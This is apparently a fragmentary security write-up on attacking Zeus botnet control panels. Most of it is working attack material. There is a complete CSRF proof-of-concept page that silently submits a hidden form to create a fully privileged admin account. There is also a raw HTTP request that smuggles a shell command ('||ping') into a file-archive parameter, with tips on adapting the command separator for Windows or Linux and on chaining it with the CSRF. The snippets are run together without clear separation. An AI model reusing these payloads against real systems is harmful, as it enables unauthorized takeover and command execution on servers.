<html> <head> <title></title> </head> <body> <pre> This is a CSRF POC to create a new admin user in Zeus admin panels. Username: user_1392719246 Password: admin1 You might change the URL from 127.0.0.1. Redirecting in a hidden iframe in <span id="countdown">10</span> seconds. </pre> <iframe id="csrf-frame" name="csrf-frame" style="display: none;"></iframe> <form action="http://127.0.0.1/cp.php?m=sys_users&new" id="csrf-form" method="post" name="csrf-form" target="csrf-frame"> <input name="name" type="hidden" value="user_1392719246" /> <input name="password" type="hidden" value="admin1" /> <input name="status" type="hidden" value="1" /> <input name="comment" type="hidden" value="PWND!" /> <input name="r_botnet_bots" type="hidden" value="1" /> <input name="r_botnet_scripts" type="hidden" value="1" /> <input name="r_botnet_scripts_edit" type="hidden" value="1" /> <input name="r_edit_bots" type="hidden" value="1" /> <input name="r_reports_db" type="hidden" value="1" /> <input name="r_reports_db_edit" type="hidden" value="1" /> <input name="r_reports_files" type="hidden" value="1" /> <input name="r_reports_files_edit" type="hidden" value="1" /> <input name="r_reports_jn" type="hidden" value="1" /> <input name="r_stats_main" type="hidden" value="1" /> <input name="r_stats_main_reset" type="hidden" value="1" /> <input name="r_stats_os" type="hidden" value="1" /> <input name="r_system_info" type="hidden" value="1" /> <input name="r_system_options" type="hidden" value="1" /> <input name="r_system_user" type="hidden" value="1" /> <input name="r_system_users" type="hidden" value="1" /> </form> <script type="text/javascript"> window.onload=function(){ var counter = 10; var interval = setInterval(function() { counter--; document.getElementById('countdown').innerHTML = counter; if (counter == 0) { redirect(); clearInterval(interval); } }, 1000); }; function redirect() { document.getElementById("csrf-form").submit(); } </script> </body> </html>
return htmlspecialchars(preg_replace('|[\x00-\x09\x0B\x0C\x0E-\x1F\x7F-\x9F]|u', ' ', $string), ENT_QUOTES, 'UTF-8');My evil thought was to inject malicious bot_id, but it looks like it has been filtered everywhere. Sad panda.
function fsarcCreate($archive, $files){ ... $archive .= '.zip'; $cli = 'zip -r -9 -q -S "'.$archive.'" "'.implode('" "', $files).'"'; exec($cli, $e, $r); }
POST /cp.php?m=reports_files&path= HTTP/1.1 ... Content-Type: application/x-www-form-urlencoded Content-Length: 60 filesaction=1&files%5B%5D=files"||ping%20-n%2010%20127.0.0.1because the zip utility was not found on my Windows box. You can try to replace || with && when attacking Windows (don't forget to URL encode it!), or replace || with ; when attacking Linux. You can also link this vulnerability with the CSRF one, but it is unlikely you know both the control panel admin, and the control panel URLs. Or if this is the case, the admin should practice better OPSEC :)
Click to Open Code Editor